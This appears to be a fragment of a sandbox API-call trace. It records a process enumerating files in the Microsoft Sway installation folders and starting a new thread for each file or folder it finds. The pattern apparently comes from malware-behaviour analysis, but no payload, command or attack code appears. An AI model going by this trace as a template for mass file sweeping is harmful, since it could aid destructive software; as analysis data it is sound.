	[0093.626] wcscat (in: _Dest=0x4f2c420, _Source="fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\fonts"
	[0093.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2c420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10dc
	[0093.626] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa611194e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf75f944, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6794654, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0093.626] wcscmp (_String1="images", _String2=".") returned 1
	[0093.626] wcscmp (_String1="images", _String2="..") returned 1
	[0093.626] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4770870
	[0093.626] wcscpy (in: _Dest=0x4770870, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.626] wcscat (in: _Dest=0x4770870, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.627] wcscat (in: _Dest=0x4770870, _Source="images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\images"
	[0093.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d8
	[0093.627] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e6321cd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaf8d1431, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e6321cd, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.627] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.627] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491c2e0
	[0093.628] wcscpy (in: _Dest=0x491c2e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.628] wcscat (in: _Dest=0x491c2e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.628] wcscat (in: _Dest=0x491c2e0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x491c2e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d4
	[0093.628] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6794654, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa6794654, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa6806cdc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x13e430, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipcm.dll", cAlternateFileName="")) returned 1
	[0093.628] wcscmp (_String1="msipcm.dll", _String2=".") returned 1
	[0093.628] wcscmp (_String1="msipcm.dll", _String2="..") returned 1
	[0093.628] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6806cdc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa6806cdc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa698446d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2d2c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20imm.dll", cAlternateFileName="")) returned 1
	[0093.628] wcscmp (_String1="mso20imm.dll", _String2=".") returned 1
	[0093.628] wcscmp (_String1="mso20imm.dll", _String2="..") returned 1
	[0093.628] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69aa580, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa69aa580, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa6b74309, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4a7260, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30imm.dll", cAlternateFileName="")) returned 1
	[0093.628] wcscmp (_String1="mso30imm.dll", _String2=".") returned 1
	[0093.628] wcscmp (_String1="mso30imm.dll", _String2="..") returned 1
	[0093.629] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6b74309, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa6b74309, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa7143ec0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf140c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoimm.dll", cAlternateFileName="")) returned 1
	[0093.629] wcscmp (_String1="msoimm.dll", _String2=".") returned 1
	[0093.629] wcscmp (_String1="msoimm.dll", _String2="..") returned 1
	[0093.629] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7143ec0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa7143ec0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa716a157, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x49648, dwReserved0=0x0, dwReserved1=0x0, cFileName="msproof7imm.dll", cAlternateFileName="")) returned 1
	[0093.629] wcscmp (_String1="msproof7imm.dll", _String2=".") returned 1
	[0093.629] wcscmp (_String1="msproof7imm.dll", _String2="..") returned 1
	[0093.629] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa716a157, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa716a157, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa71dc818, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x16dec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msptlsimm.dll", cAlternateFileName="")) returned 1
	[0093.629] wcscmp (_String1="msptlsimm.dll", _String2=".") returned 1
	[0093.629] wcscmp (_String1="msptlsimm.dll", _String2="..") returned 1
	[0093.629] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa729b408, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa729b408, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa730dadd, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x12be40, dwReserved0=0x0, dwReserved1=0x0, cFileName="office.odf", cAlternateFileName="")) returned 1
	[0093.629] wcscmp (_String1="office.odf", _String2=".") returned 1
	[0093.629] wcscmp (_String1="office.odf", _String2="..") returned 1
	[0093.629] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718900
	[0093.629] wcscpy (in: _Dest=0x4718900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.629] wcscat (in: _Dest=0x4718900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.629] wcscat (in: _Dest=0x4718900, _Source="office.odf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\office.odf") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\office.odf"
	[0093.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4718900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d0
	[0093.630] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa730dadd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa730dadd, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa76a1364, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xcb7c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.UI.Xaml.Core.dll", cAlternateFileName="")) returned 1
	[0093.630] wcscmp (_String1="Office.UI.Xaml.Core.dll", _String2=".") returned 1
	[0093.630] wcscmp (_String1="Office.UI.Xaml.Core.dll", _String2="..") returned 1
	[0093.630] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76a1364, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa76a1364, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa778617d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x315aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.UI.Xaml.Story.dll", cAlternateFileName="")) returned 1
	[0093.630] wcscmp (_String1="Office.UI.Xaml.Story.dll", _String2=".") returned 1
	[0093.630] wcscmp (_String1="Office.UI.Xaml.Story.dll", _String2="..") returned 1
	[0093.630] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa778617d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa778617d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa77ac3d3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x43750, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.630] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0093.630] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0093.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718f80
	[0093.630] wcscpy (in: _Dest=0x4718f80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.630] wcscat (in: _Dest=0x4718f80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.630] wcscat (in: _Dest=0x4718f80, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0093.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4718f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10cc
	[0093.631] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa77ac3d3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa77ac3d3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa7844d2b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x207e48, dwReserved0=0x0, dwReserved1=0x0, cFileName="richedim.dll", cAlternateFileName="")) returned 1
	[0093.631] wcscmp (_String1="richedim.dll", _String2=".") returned 1
	[0093.631] wcscmp (_String1="richedim.dll", _String2="..") returned 1
	[0093.631] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7844d2b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa7844d2b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa786af81, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x744c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="saext.dll", cAlternateFileName="")) returned 1
	[0093.631] wcscmp (_String1="saext.dll", _String2=".") returned 1
	[0093.631] wcscmp (_String1="saext.dll", _String2="..") returned 1
	[0093.631] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa786af81, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf8d1b15, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa786af81, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="storyclientui_xaml", cAlternateFileName="STORYC~1")) returned 1
	[0093.631] wcscmp (_String1="storyclientui_xaml", _String2=".") returned 1
	[0093.631] wcscmp (_String1="storyclientui_xaml", _String2="..") returned 1
	[0093.631] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4fcd2b8
	[0093.631] wcscpy (in: _Dest=0x4fcd2b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.631] wcscat (in: _Dest=0x4fcd2b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.631] wcscat (in: _Dest=0x4fcd2b8, _Source="storyclientui_xaml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\storyclientui_xaml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\storyclientui_xaml"
	[0093.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4fcd2b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c8
	[0093.632] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78b7317, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa78b7317, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa7c24a57, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xbf7840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sway.exe", cAlternateFileName="")) returned 1
	[0093.632] wcscmp (_String1="sway.exe", _String2=".") returned 1
	[0093.632] wcscmp (_String1="sway.exe", _String2="..") returned 1
	[0093.632] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c24a57, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa7c24a57, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa7c24a57, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x20a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="textinputdriver.dll", cAlternateFileName="")) returned 1
	[0093.632] wcscmp (_String1="textinputdriver.dll", _String2=".") returned 1
	[0093.632] wcscmp (_String1="textinputdriver.dll", _String2="..") returned 1
	[0093.632] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7c24a57, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf945b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa7c24a57, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xaml", cAlternateFileName="")) returned 1
	[0093.632] wcscmp (_String1="xaml", _String2=".") returned 1
	[0093.632] wcscmp (_String1="xaml", _String2="..") returned 1
	[0093.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2c120
	[0093.632] wcscpy (in: _Dest=0x4f2c120, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe"
	[0093.632] wcscat (in: _Dest=0x4f2c120, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\"
	[0093.632] wcscat (in: _Dest=0x4f2c120, _Source="xaml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\xaml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\xaml"
	[0093.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2c120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c4
	[0093.633] FindNextFileW (in: hFindFile=0x2d70f80, lpFindFileData=0x47a4738 | out: lpFindFileData=0x47a4738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7c24a57, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf945b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa7c24a57, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xaml", cAlternateFileName="")) returned 0
	[0093.633] FindClose (in: hFindFile=0x2d70f80 | out: hFindFile=0x2d70f80) returned 1
	[0093.633] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a4738) returned 1
	[0093.633] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7dd50) returned 1
	[0093.633] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddc2e0) returned 1

Thread:
	id = 826
	os_tid = 0x1188

	[0079.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476f808
	[0079.727] wcscpy (in: _Dest=0x476f808, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe"
	[0079.727] wcscat (in: _Dest=0x476f808, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.727] wcscat (in: _Dest=0x476f808, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\*"
	[0079.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e142f8
	[0079.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa57d3c26, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xafabb342, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e60bed5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70fc0
	[0079.728] wcscmp (_String1=".", _String2=".") returned 0
	[0079.728] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa57d3c26, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xafabb342, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e60bed5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.729] wcscmp (_String1="..", _String2=".") returned 1
	[0079.729] wcscmp (_String1="..", _String2="..") returned 0
	[0079.729] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2e142f8 | out: lpFindFileData=0x2e142f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa594e361, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa594e361, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa594e361, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x153, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.729] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.729] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e33560
	[0079.729] wcscpy (in: _Dest=0x4e33560, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe"
	[0079.729] wcscat (in: _Dest=0x4e33560, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\"
	[0079.729] wcscat (in: _Dest=0x4e33560, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e33560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd78
